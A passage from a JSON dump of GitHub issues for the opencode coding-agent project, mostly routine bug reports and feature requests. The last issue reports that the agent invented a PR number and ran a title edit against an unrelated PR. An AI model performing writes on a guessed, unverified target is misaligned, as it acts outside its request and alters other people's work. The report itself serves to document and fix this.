perplexity-agent should not send OpenAI-specific Responses fields that Perplexity Agent API rejects. ### Screenshot and/or share link N/A ### Operating System Arch ### Terminal Konsole",
        "url": "https://github.com/anomalyco/opencode/issues/32108",
        "createdAt": "2026-06-12T21:54:15Z",
        "updatedAt": "2026-08-13T02:53:13Z",
        "timestamp": "2026-08-13T02:53:13Z",
        "metrics": {
          "reactions": 3,
          "comments": 2
        },
        "labels": [],
        "author": "asakura42",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32144",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "CJK characters garbled when copying text via OSC52 clipboard (WSL2 + VSCode terminal)",
        "text": "## Bug Description When copying text containing CJK characters (Chinese, Japanese, Korean) from opencode running in VSCode integrated terminal on WSL2, the pasted result is garbled/mojibake. ASCII text copies correctly. This is a known issue in the upstream OpenTUI framework's OSC52 clipboard implementation. The same bug was reported and fixed in charmbracelet/crush (see related issues below). ## Environment - opencode: v1.17.4 - OS: WSL2 (Ubuntu) on Windows 11 - Terminal: VSCode integrated terminal v1.124.0 - LANG: C.UTF-8 (WSL), zh_CN.UTF-8 (VSCode terminal env) - TERM_PROGRAM: vscode ## Reproduction 1. Start opencode in VSCode integrated terminal on WSL2 2. Use `Ctrl+↑` / `Ctrl+↓` to navigate to a message containing Chinese text 3. Press `Ctrl+X Y` to copy the message 4. Paste elsewhere → garbled text ## Root Cause opencode's TUI framework (OpenTUI `@opentui/core@0.3.4`) uses `copyToClipboardOSC52` which sends `\\033]52;c;<base64>\\007` to the terminal. The OSC52 implementation has a bug handling multi-byte UTF-8 characters — likely truncating at byte boundaries instead of character boundaries during base64 encoding. Evidence from binary: - `copyToClipboardOSC52` function present - `isOsc52Term` detection logic present - `terminal.isOsc52Term` check present ## Related Issues - **charmbracelet/crush#839** — \"Console copy results in garbled Japanese text\" (same bug, WSL2 + Windows) - **charmbracelet/crush#2155** — \"Copy words in terminal, only english and numbers are copied\" (fixed in crush v0.42.0+) - **charmbracelet/crush#851** — \"Extra zero-width characters appear when entering Chinese text\" - **sst/opencode#263** — \"I can't copy messages\" (related: clipboard not working) ## Suggested Fix Port the CJK clipboard fix from crush v0.42.0+ back to OpenTUI, or add a fallback to system clipboard (e.g., `clip.exe` on WSL, `pbcopy` on macOS, `xclip`/`xsel` on Linux) when OSC52 is detected but CJK characters are present. ## Workaround Use VSCode terminal's native copy instead: select text with mouse → `Ctrl+Shift+C` to copy. This bypasses OSC52 and handles CJK correctly.",
        "url": "https://github.com/anomalyco/opencode/issues/32144",
        "createdAt": "2026-06-13T04:29:45Z",
        "updatedAt": "2026-08-13T05:23:15Z",
        "timestamp": "2026-08-13T05:23:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "xieze",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32155",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop App: Spell Checker  annoyance",
        "text": "### Description Prompt input field of desktop app displays spell checker error for each word not in the selected language. Example: If German is selected language, each English word is marked as grammatical error. This is due to the fact, that in Electron app the spell checker is enabled by default and cannot be disabled on Windows. (In MacOS, the spell checker of Electron can be deactivated in the OS settings.) Dear developers of OpenCode: PLEASe do not be as lazy as 90% of other devs who do not care about the shortcomings of Electron. Thank you ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce 1. Settings: Language German 2. Input text field: Write something like \"Wie rufe ich in Logto.io den Introspection Endpunkt auf? ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/32155",
        "createdAt": "2026-06-13T06:52:11Z",
        "updatedAt": "2026-08-13T02:52:54Z",
        "timestamp": "2026-08-13T02:52:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "jan370",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32160",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:One Key Copy",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request We need two buttons here: One is a jump button: click it once to jump to the position of my previous question. You can click it multiple times to jump to the position before that. One is a copy button: copy the current reply from OPENCODE, preferably in Markdown format. Environment: The OPENCODE extension in VSCode. 这里需要两个按钮： 一个是跳转按钮：点一次就跳转到我的上一个问题的位置。可以连续点多次，跳转到上上个位置。 一个是复制按钮：复制OPENCODE当前回复的内容，最好是复制为Markdown形式。 使用环境: VSCode 里的 OPENCODE 扩展。",
        "url": "https://github.com/anomalyco/opencode/issues/32160",
        "createdAt": "2026-06-13T07:24:27Z",
        "updatedAt": "2026-08-13T02:52:55Z",
        "timestamp": "2026-08-13T02:52:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "linzhongzi",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32161",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI startup initializes the same instance twice",
        "text": "### Description When starting the TUI, OpenCode appears to initialize the same project instance twice for the same directory during startup. The visible symptoms are: - duplicate `creating instance` log entries for the same directory and same `run` id - duplicate `fromDirectory` calls - duplicate `enabled LSP servers` entries - duplicate config discovery/loading work - noticeably high CPU during/after startup when many LSP servers are configured Sanitized example from `opencode.log`: ```text timestamp=... level=INFO run=... message=\"creating instance\" directory=/home/user timestamp=... level=INFO run=... message=fromDirectory directory=/home/user timestamp=... level=INFO run=... message=\"creating instance\" directory=/home/user timestamp=... level=INFO run=... message=fromDirectory directory=/home/user timestamp=... level=INFO run=... message=\"enabled LSP servers\" serverIds=\"...\" timestamp=... level=INFO run=... message=\"enabled LSP servers\" serverIds=\"...\" timestamp=... level=INFO run=... message=\"watcher backend\" directory=/home/user platform=linux backend=inotify timestamp=... level=INFO run=... message=init count=7 ``` I also tested whether the duplicate load was caused by the TUI upgrade check. Removing the `InstanceRuntime.load({ directory })` call from `checkUpgrade()` did **not** remove the duplicate `creating instance` / `enabled LSP servers` logs, so the upgrade check does not appear to be the root cause. Based on `packages/opencode/src/project/instance-store.ts`, a single `InstanceStore` service should not log two `creating instance` entries for the same resolved directory because the local cache is populated before bootstrapping: ```ts const existing = cache.get(directory) if (existing) return yield* restore(Deferred.await(existing.deferred)) const entry = { deferred: Deferred.makeUnsafe<InstanceContext>() } cache.set(directory, entry) // logs \"creating instance\" ``` Seeing duplicate entries for the same directory suggests that startup is creating two separate `InstanceStore`/Layer/runtime instances, so the per-service cache cannot dedupe the concurrent load. Possible fixes: 1. Ensure TUI/server/worker startup shares a single `AppRuntime` / `InstanceStore` for the process, or 2. Add a defensive module/process-level in-flight dedupe in `InstanceStore.load()` keyed by resolved directory, so concurrent loads across separate store instances cannot bootstrap the same directory twice. ### Plugins Reproduced with and without third-party plugins enabled. Removing TUI plugins did not eliminate the duplicate `creating instance` / `enabled LSP servers` logs. ### OpenCode version 1.17.4 ### Steps to reproduce 1. Start OpenCode TUI from a directory with multiple LSP servers configured. 2. Inspect `opencode.log` immediately after startup. 3. Search for `creating instance`, `fromDirectory`, and `enabled LSP servers` entries. 4. Observe that the same directory is initialized twice during the same startup run. Expected: ```text creating instance x1 enabled LSP servers x1 ``` Actual: ```text creating instance x2 enabled LSP servers x2 ``` ### Screenshot and/or share link No screenshot. Sanitized log excerpt included above. ### Operating System Ubuntu 24.04 LTS ARM64 ### Terminal SSH/tmux TUI session",
        "url": "https://github.com/anomalyco/opencode/issues/32161",
        "createdAt": "2026-06-13T07:35:33Z",
        "updatedAt": "2026-08-13T02:52:56Z",
        "timestamp": "2026-08-13T02:52:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "dhaern",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32165",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:User message quick-jump sidebar",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Description: Add a slim sidebar on the right side of the TUI that lists only the user's own inputs (prompts) from the current conversation as clickable entries. Clicking an entry jumps directly to that message in the chat history. Alternatively: a keyboard shortcut that opens a list of previous user messages within the current session, with an option to jump to any selected message. How this differs from #31633: Issue #31633 proposes a full conversation navigation bar with markers for every message (user, assistant, code blocks, errors). This request is narrower in scope: show only user messages, providing a lightweight \"my prompts\" index without the visual noise of marking every assistant response. Use case: In long multi-turn sessions, scrolling back to find a specific earlier prompt is tedious. A compact list of just your own inputs gives a quick overview and instant navigation.",
        "url": "https://github.com/anomalyco/opencode/issues/32165",
        "createdAt": "2026-06-13T08:44:22Z",
        "updatedAt": "2026-08-13T11:37:28Z",
        "timestamp": "2026-08-13T11:37:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "TutorNachhilfe",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32171",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: worker pool execution mode  when do some parallel job rolling new subagent when any one is done",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Summary In subagent mode, there seem to be two scheduling / interaction issues: While subagents are running, the main session cannot accept new user input. When multiple subagents are launched in parallel with a concurrency limit, if one subagent finishes early, the next queued subagent does not start automatically. It appears the system waits until all currently running subagents finish before dispatching the next batch. This makes subagent execution behave more like batch barriers instead of a rolling worker pool. Environment opencode subagent mode parallel subagents with max_concurrent_agents set (example: 5) OS: Windows Model shown in UI: gpt-5.4 Screenshot attached Reproduction Steps Start a task that uses subagent mode. Dispatch multiple subagents in parallel, with a concurrency cap such as: max_concurrent_agents: 5 Queue more work than the concurrency limit allows. Example: first run ch01–ch05, then expect ch06–ch09 to start as slots free up. Observe that: some subagents finish earlier than others, but queued subagents are not started immediately when a slot becomes available. Also try sending a new user message while subagent mode is active. Observe that the session does not accept / process the new user message. Expected Behavior 1. User input handling The main session should still be able to receive and process new user messages while subagents are running, or at least provide a clear interaction model for interruption / enqueue / cancellation. 2. Rolling subagent scheduling With max_concurrent_agents: 5, subagents should behave like a worker pool: if 5 are running and 1 finishes, the next queued subagent should start immediately, without waiting for the other 4 to finish. In other words, scheduling should be rolling / slot-based, not batch-based. Actual Behavior The main session cannot accept new user input during subagent execution. Finished subagents do not release their slot for the next queued subagent immediately. The next queued subagents only start after the whole current parallel batch finishes. Why this is a problem This reduces throughput significantly for uneven task durations. Example: ch01 finishes in 1 min ch02 finishes in 3 min ch03 finishes in 2 min ch04 finishes in 5 min ch05 finishes in 4 min If ch01 finishes early, ch06 should start right away. Instead, the queue waits until ch02–ch05 all finish, leaving available capacity idle. This also makes long-running subagent workflows less interactive because the user cannot send follow-up instructions during execution. Suspected Root Cause Possibly the scheduler is currently implemented as: dispatch one batch up to max_concurrent_agents wait for the whole batch to settle dispatch the next batch instead of: maintain a live pool whenever any subagent completes, pull the next queued task immediately There may also be an input lock / session lock while subagent mode is active. Suggested Fix Change subagent scheduling from batch barrier to rolling queue / worker pool. Release a concurrency slot immediately when a subagent completes. Automatically dispatch the next queued subagent as soon as a slot is free. Allow the main session to continue accepting user input while subagents are running, or expose a clear policy: allow message interrupt, enqueue message, or offer cancel / pause / reprioritize controls. Additional Context In my case, after some subagents completed, the UI still showed the follow-up task as queued instead of starting immediately. Example expectation: start ch01–ch05 if ch01 completes first, immediately start ch06 if ch03 completes next, immediately start ch07 etc. Current behavior seems to wait for the entire first wave to finish before starting the next wave. <img width=\"1430\" height=\"922\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/5fb20cb3-f40f-4ee4-90e4-e5560391a4fa\" />",
        "url": "https://github.com/anomalyco/opencode/issues/32171",
        "createdAt": "2026-06-13T09:04:31Z",
        "updatedAt": "2026-08-13T02:53:01Z",
        "timestamp": "2026-08-13T02:53:01Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "dengyakui",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:32175",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "SSE reconnection never fires after initial connection failure",
        "text": "### Description The SSE reconnect loop in packages/tui/src/context/sdk.tsx only retries when the stream ends cleanly. If sdk.global.event() throws on the first call (server not ready, port not bound), the exception goes straight to .catch(() => {}) with no reconnection attempt. The TUI never receives events and appears frozen. ### OpenCode version Latest dev ### Steps to reproduce 1. Start the TUI while the server is not ready 2. The SSE connection attempt fails 3. No retry is made, UI stays frozen ### Operating System Linux ### Terminal Alacritty",
        "url": "https://github.com/anomalyco/opencode/issues/32175",
        "createdAt": "2026-06-13T11:06:09Z",
        "updatedAt": "2026-08-13T02:53:06Z",
        "timestamp": "2026-08-13T02:53:06Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "MethodWhite",
        "state": "closed",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32176",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Unhandled promise rejections in session operations crash the TUI",
        "text": "### Description Several void SDK calls in packages/tui/src/routes/session/index.tsx fire async requests without .catch(). Bun terminates the process on unhandled rejections. Affected calls: - sdk.client.session.summarize() (line 572) - sdk.client.session.revert() (line 616) - sdk.client.experimental.session.background() (line 1025) ### OpenCode version Latest dev ### Steps to reproduce 1. Use the summarise or revert feature 2. Trigger a network error 3. Bun terminates the process with an unhandled rejection ### Operating System Linux ### Terminal Alacritty",
        "url": "https://github.com/anomalyco/opencode/issues/32176",
        "createdAt": "2026-06-13T11:06:23Z",
        "updatedAt": "2026-08-13T02:53:07Z",
        "timestamp": "2026-08-13T02:53:07Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "MethodWhite",
        "state": "closed",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32196",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Inconsistent Kimi K2.7 Code model ID in OpenCode Go docs",
        "text": "### Description The OpenCode Go docs use inconsistent model IDs for Kimi K2.7 Code. The model list and `/v1/models` endpoint use: ```text kimi-k2.7-code ``` But the endpoint table in the docs uses: ```text kimi-k2.7 ``` This makes it unclear which model ID should be used when configuring OpenCode Go manually or from external clients. The issue appears in multiple localized docs, not only Traditional Chinese. For example: * `packages/web/src/content/docs/zh-tw/go.mdx` * `packages/web/src/content/docs/es/go.mdx` Expected correction: ```text Kimi K2.7 Code | kimi-k2.7-code | https://opencode.ai/zen/go/v1/chat/completions ``` ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce 1. Open the OpenCode Go docs. 2. Check the model list and the Kimi K2.7 Code configuration example. 3. Compare them with the endpoint table. 4. Notice that the endpoint table uses `kimi-k2.7`, while the canonical model ID appears to be `kimi-k2.7-code`. ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/32196",
        "createdAt": "2026-06-13T13:37:52Z",
        "updatedAt": "2026-08-13T02:53:25Z",
        "timestamp": "2026-08-13T02:53:25Z",
        "metrics": {
          "reactions": 3,
          "comments": 1
        },
        "labels": [],
        "author": "fish-can",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32204",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "`@` file reference search is broken after `/move` to a git worktree",
        "text": "### Description `@` file reference search seems to keep stale repository context after using `/move` from an original git repository into one of its git worktrees. If I start OpenCode directly inside the worktree, `@` search works as expected. The problem only appears when I first start OpenCode in the original repository, reference/open a file there, then use `/move` to switch into the worktree. After `/move`, the current directory appears to be the worktree, but `@` file search still returns files from the original repository location instead of the worktree. It behaves like the file reference index/search root was not refreshed for the new directory. Expected: after `/move /path/to/worktree`, `@` file references should search the moved-to worktree and behave the same as launching OpenCode directly from `/path/to/worktree`. ### Plugins _No response_ ### OpenCode version 1.17.4 ### Steps to reproduce 1. Create a git worktree from an existing repository: ```bash git worktree add /path/to/worktree feature-branch ``` 2. Start OpenCode in the original repository: ```bash cd /path/to/original-repo opencode ``` 3. Use `@` to reference/open a file from the original repository. 4. Move the session into the worktree: ```text /move /path/to/worktree ``` 5. Try to reference a file from the worktree using `@`. 6. Observe that `@` search still finds files, but they come from the original repository location rather than the worktree. 7. Exit OpenCode and start it directly in the worktree: ```bash cd /path/to/worktree opencode ``` 8. Try the same `@` reference again. It works correctly when launched directly from the worktree. ### Screenshot and/or share link _No response_ ### Operating System Ubuntu 24.04 / Linux 6.17.0-1024-oem ### Terminal GNOME Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/32204",
        "createdAt": "2026-06-13T15:50:06Z",
        "updatedAt": "2026-08-13T02:53:14Z",
        "timestamp": "2026-08-13T02:53:14Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Julfried",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32206",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop-launched WSL server hangs on POST: stdout pipe deadlocks under `--print-logs`",
        "text": "### Description **Setup** - WSL2 (mirrored networking), opencode desktop 1.17.x on Windows - WSL Ubuntu, same opencode version **Symptom** - Desktop auto-discovers/launches the WSL server, reading sessions works, but sending a message (even 2 chars) hangs ~60s and times out - TUI in the same WSL is fine - Workaround: manually run `opencode serve --port 4098 --hostname 0.0.0.0` (no `--print-logs`) and add it as a server in desktop. Works perfectly. **Diagnosis (inside WSL)** Desktop spawns a server on a random high port (e.g. 57054) with this cmdline: /home/<user>/.opencode/bin/opencode --print-logs --log-level WARN serve --hostname 0.0.0.0 --port 57054 Compare stdio targets: manual (works): /proc/<pid>/fd/1 -> /dev/pts/N desktop (hangs): /proc/<pid>/fd/1 -> pipe:inode The desktop-launched server's stdout/stderr are anonymous pipes. It also opens `/dev/ptmx` (fd 7) to capture child tool output and re-emit it to stdout. When LLM processing generates enough log/tool output, `write(1)` blocks on the full 64KB pipe. The server hangs inside `write`, HTTP response is never sent, desktop times out. Manually launched server has no `--print-logs`, only writes to the log file, never blocks. **Suggested fix** When desktop spawns the WSL server, redirect stdout/stderr to the log file instead of inheriting a pipe: ```bash wsl -e bash -lc 'exec opencode serve ... >>~/.local/share/opencode/log/desktop-wsl-server.log 2>&1' ``` Or simply don't pass --print-logs when spawning from desktop. ### Plugins _No response_ ### OpenCode version 1.17.4 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/32206",
        "createdAt": "2026-06-13T16:01:21Z",
        "updatedAt": "2026-08-13T02:53:15Z",
        "timestamp": "2026-08-13T02:53:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "hanfengcan",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32210",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Stats header actions are misaligned causing Geo Breakdown to not be clickable",
        "text": "### Description The stats data page header actions can drift from the right side of the header when the section navigation is visible at wide breakpoints causing the Geo Breakdown to not be clickable ### Steps to reproduce 1. Open the stats data page. 2. View the header at desktop width with section navigation visible. 3. Observe the Geo Breakdown link not being clickable ### Screenshot https://github.com/user-attachments/assets/c456938d-0a89-40c5-997d-b131c8c78136",
        "url": "https://github.com/anomalyco/opencode/issues/32210",
        "createdAt": "2026-06-13T17:03:25Z",
        "updatedAt": "2026-08-13T02:53:16Z",
        "timestamp": "2026-08-13T02:53:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "adamaho",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32218",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add option to edit model or provider in GUI settings without deleting them",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request I modify my local model configuration once a week since I frequently switch the model settings. It's very frustrating that I need to either open the config file in notepad or delete the provider so that I can re-create the provider + model JUST SO I CAN EDIT THE MODEL. Setting parity between the GUI and the config file should have been a higher priority (imo). I'm not asking for fancy features, just some text boxes or radio buttons to edit settings.",
        "url": "https://github.com/anomalyco/opencode/issues/32218",
        "createdAt": "2026-06-13T18:39:53Z",
        "updatedAt": "2026-08-13T02:53:23Z",
        "timestamp": "2026-08-13T02:53:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "vektorprime",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32219",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add native TUI support to configure OpenRouter Fusion presets for openrouter/fusion",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request **Problem** OpenCode has no built-in way to configure the `openrouter/fusion` model. It always runs with OpenRouter’s default Quality preset (Claude Opus + GPT + Gemini), which is expensive for regular coding work. There is currently no option in the TUI, CLI, desktop app, or web UI to switch to the cheaper Budget preset or use custom models (e.g. DeepSeek, Minimax). **Request** Please add simple native support in OpenCode’s interface (TUI, desktop app, and web UI) to let users easily select or configure Fusion presets for `openrouter/fusion`. This would allow choosing between Quality and Budget presets, or defining a custom panel of models, without needing to call the OpenRouter API manually. **Reference** OpenRouter Fusion configuration: [Docs](https://openrouter.ai/docs/guides/features/plugins/fusion)",
        "url": "https://github.com/anomalyco/opencode/issues/32219",
        "createdAt": "2026-06-13T19:23:50Z",
        "updatedAt": "2026-08-13T02:53:24Z",
        "timestamp": "2026-08-13T02:53:24Z",
        "metrics": {
          "reactions": 11,
          "comments": 2
        },
        "labels": [],
        "author": "tifuck",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32223",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "~ not expanded in file tool path arguments (Read, Write, Edit, Glob, Grep)",
        "text": "### Description When an agent passes a path starting with `~` (e.g. `~/.bashrc`) to any file tool, the tilde is treated as a literal directory name rather than expanded to the home directory. **Affected tools:** `read` (`filePath`), `write` (`filePath`), `edit` (`filePath`), `glob` (`pattern`, `path`), `grep` (`path`). `bash` works incidentally (shell expands `~`). ## Expected Behavior `Read ~/.bashrc` resolves to `/Users/username/.bashrc`. ## Actual Behavior Resolves relative to cwd — `path.resolve()` joins the raw `~/.bashrc` string with the working directory, producing a path that does not exist. File not found: /home/user/~/...bashrc ## Root Cause The shared path resolution in `packages/opencode/src/filesystem.ts` uses: const absolute = path.resolve(location.directory, input.path) Node.js `path.resolve()` does not expand `~` — it treats it as a literal directory name. No tilde expansion exists anywhere in the file tool path resolution pipeline. ## Suggested Fix Expand `~` before passing to `path.resolve()`: const expanded = input.path.startsWith(\"~\") ? path.join(homedir(), input.path.slice(1)) : input.path const absolute = path.resolve(location.directory, expanded) Or use `untildify` (zero-dependency, 16M+ weekly downloads). Applied to the shared `resolve()` function in `filesystem.ts`, this fixes all file tools in one place (~3 lines). ### Related - #14559 — same symptom (Read tool), user attributed to model bug, closed - #23695 — `~/` in plugin config paths, narrower scope, OPEN - #3289 — `~/` in instructions glob config, FIXED - #31680 — `tool.execute.before` arg mutation broken, blocks plugin workaround ### Plugins none ### OpenCode version 1.17.4 ### Steps to reproduce 1. In an opencode session, instruct any agent: Read ~/.bashrc 2. Agent calls Read tool with filePath: \"~/.bashrc\" 3. Tool prepends cwd, produces /project/~/... and fails with File not found ### Screenshot and/or share link _No response_ ### Operating System macOS (Darwin) ### Terminal iTerm2",
        "url": "https://github.com/anomalyco/opencode/issues/32223",
        "createdAt": "2026-06-13T20:32:08Z",
        "updatedAt": "2026-08-13T02:53:26Z",
        "timestamp": "2026-08-13T02:53:26Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "pdt256",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32227",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: open TUI diff viewer directly from CLI",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request I would like to open the existing TUI diff viewer directly from the CLI. Example: ```bash opencode diff opencode diff . opencode diff /path/project ``` Currently i need to start opencode first, then run /diff. The benefit is a faster review workflow. I often open a new tmux pane just to review diffs. I can submit a PR if this is approved.",
        "url": "https://github.com/anomalyco/opencode/issues/32227",
        "createdAt": "2026-06-13T20:59:18Z",
        "updatedAt": "2026-08-13T02:53:28Z",
        "timestamp": "2026-08-13T02:53:28Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "patrickhaahr",
        "state": "closed",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32229",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] Linux: main binary shipped as ai.opencode.desktop makes KDE Dolphin hang on the install directory",
        "text": "### Description Opening the Linux desktop install directory in KDE Dolphin is unusually slow or temporarily freezes the file manager. The main cause appears to be that the shipped executable is named `ai.opencode.desktop`, but it is actually a large ELF binary rather than a Freedesktop `.desktop` text entry file. Because Dolphin/KDE treats `*.desktop` specially, opening the folder triggers expensive parsing / MIME inspection / preview-related work on a 200MB+ binary, which makes only this directory noticeably slow to open. I checked the install directory and found: - `ai.opencode.desktop`: ~207 MB, actual type = ELF binary - `bin/opencode`: ~150 MB, ELF executable - `resources/app.asar`: ~95 MB - total file count is small, so this is not a \"too many files\" issue This strongly suggests the filename itself is the problem, not the number of files. ### Plugins None ### OpenCode version 1.17.5 ### Steps to reproduce 1. Install/extract the Linux desktop build. 2. Open the install directory in KDE Dolphin. 3. Notice that Dolphin becomes unusually slow or briefly freezes when listing that directory. 4. Compare with nearby directories on the same filesystem; only the OpenCode install directory is affected. ### Screenshot and/or share link I can attach screenshots of the issue form and provide additional file details if needed. Relevant file detail: `ai.opencode.desktop` is not a desktop entry file. It is an ELF binary, despite the `.desktop` extension. ### Operating System SUSE Linux Enterprise 16 / openSUSE Leap 16 / openSUSE Tumbleweed (likely distro-agnostic; expected to affect any Linux distribution when the install directory is opened in KDE Dolphin / KDE Plasma) ### Terminal Konsole, Kitty, Alacritty",
        "url": "https://github.com/anomalyco/opencode/issues/32229",
        "createdAt": "2026-06-13T21:15:42Z",
        "updatedAt": "2026-08-13T02:53:29Z",
        "timestamp": "2026-08-13T02:53:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "presire",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32233",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Bug: PR comment context omits PR number, allowing agent to edit wrong PR",
        "text": "### Description In `opencode github run`, the dynamically inserted `<pull_request>` context for a PR comment does not include the PR number or PR URL. This caused the agent to invent a PR number during a title-fix request and run a write operation against the wrong PR. ## What happened The user commented on PR https://github.com/xlionjuan/searxng-mcp-go/pull/402 : ```text /oc fix pr title to comply the policy ``` The provided `<pull_request>` context included the PR title, body, head branch, base branch, state, changed files, etc., but did not include: ```text Number: 402 URL: https://github.com/xlionjuan/searxng-mcp-go/pull/402 ``` The agent correctly read the PR title policy, but then executed: ```bash gh pr edit 6 --title \"docs: fix 4 stale doc issues in release.md\" ``` PR `#6` was unrelated. The number `6` was not present in the provided PR context. ## Expected behavior For PR-triggered/comment-triggered runs, the generated `<pull_request>` context should include the authoritative PR identity, at minimum: ```text Number: <pr-number> URL: <pr-url> ``` Ideally, the runtime should also guard PR write operations so an agent cannot accidentally edit a different PR than the one that triggered the run. ## Why this matters Without an explicit PR number/URL, the model may infer or hallucinate a target PR number and perform writes against unrelated PRs. ### Plugins _No response_ ### OpenCode version v1.17.4 ### Steps to reproduce 1. Use `/oc` to comment ### Screenshot and/or share link Session: https://opncd.ai/share/3qk1j4qu ### Operating System Ubuntu 24.04 (GitHub Hosted Action runner) ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/32233",
